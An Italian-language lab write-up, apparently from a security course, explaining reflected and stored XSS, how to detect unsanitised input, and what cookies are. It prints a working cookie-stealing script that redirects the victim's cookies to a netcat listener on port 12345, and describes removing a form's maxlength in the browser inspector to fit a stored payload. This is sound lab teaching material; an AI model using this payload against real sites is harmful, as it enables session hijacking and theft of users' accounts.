Pratica S6-L5

Immagine che contiene testo, schermata, Carattere, algebra

Descrizione generata automaticamente

XSS (Cross-Site Scripting) reflected è una vulnerabilità di sicurezza su un sito web in cui gli attaccanti inseriscono script malevoli in input, come campi di ricerca o URL, che vengono poi riflesso e eseguiti dai browser degli utenti durante la visualizzazione della pagina. Ciò può consentire agli attaccanti di rubare informazioni sensibili degli utenti o compromettere la sicurezza del sito.

Per capire se un sito è vulnerabile a un attacco XSS (Cross-Site Scripting) reflected, puoi seguire questi tre passaggi:

Input Validation:

In un sito vulnerabile a XSS, spesso l'input fornito dall'utente non viene validato o sanificato correttamente prima di essere mostrato nella pagina web. Puoi cercare campi di input, come campi di ricerca o forme, e inserire del testo con caratteri speciali o script JavaScript per vedere se vengono eseguiti quando la pagina viene visualizzata.

Immagine che contiene testo, schermata, Carattere, linea

Descrizione generata automaticamente

Analisi delle Risposte del Server:

Dopo aver inserito un payload potenzialmente dannoso in un campo di input, osserva la risposta del server. Se il testo inserito viene restituito senza essere sanificato o modificato, potrebbe essere un segno di vulnerabilità XSS reflected.

Immagine che contiene testo, schermata, Carattere, linea

Descrizione generata automaticamente

Errori o Messaggi Anomali:

Cercare segni di errori o comportamenti anomali nella pagina dopo aver inserito il payload. Ad esempio, se vedi popup non attesi, messaggi di errore strani o comportamenti inusuali, potrebbe indicare una possibile vulnerabilità XSS.

Le cookie sono piccoli pezzi di dati memorizzati sul computer degli utenti dal loro browser web quando visitano un sito. Questi dati sono scambiati tra il browser e il server web e vengono utilizzati per mantenere informazioni di stato durante le sessioni web. Le cookie sono comunemente utilizzate per memorizzare preferenze utente, dati di accesso, informazioni di carrello degli acquisti e altri dati relativi all'interazione dell'utente con un sito web. Sono essenziali per molte funzionalità web, ma vanno gestite attentamente per garantire la sicurezza e la privacy degli utenti.

Per eseguire l’attacco XSS reflected dopo che abbiamo verificato che l’input non e sanato , inseriamo il nostro link che ci permetira di ricevere i cookies , prima però mettiamo NETCAT in ascolto nella porta 12345 .

<script>window.location='http://127.0.0.1:12345/?cookie=' + document.cookie;</script>



Inserendo il script sull input , netcat ci dara :

Immagine che contiene testo, schermata, Carattere

Descrizione generata automaticamente

XSS (Cross-Site Scripting) stored è una vulnerabilità di sicurezza su un sito web in cui gli attaccanti inseriscono script malevoli attraverso input come campi di testo o commenti. Questi script vengono memorizzati dal server e visualizzati quando altri utenti accedono alle pagine contenenti tali dati. Ciò consente agli attaccanti di eseguire script dannosi sui browser degli utenti che visualizzano il contenuto compromesso, mettendo a rischio la sicurezza delle informazioni e la privacy degli utenti.

Immagine che contiene testo, Carattere, linea, numero

Descrizione generata automaticamente

Dal inserimento capiamo che il message ha un limite di caratteri

In questo caso non possiamo inserire il nostro payload siccome e stato inserito un limite di caratteri , però entrando nell inspect , possiamo rimuovere il max length , questo ci permette di inserire il nostro script .

Immagine che contiene testo, software, Software multimediale, schermata

Descrizione generata automaticamente

Immagine che contiene testo, schermata, Carattere, linea

Descrizione generata automaticamente

Dopo questo passo l’attacco viene eseguito con successo .

Immagine che contiene testo, schermata, Carattere

Descrizione generata automaticamente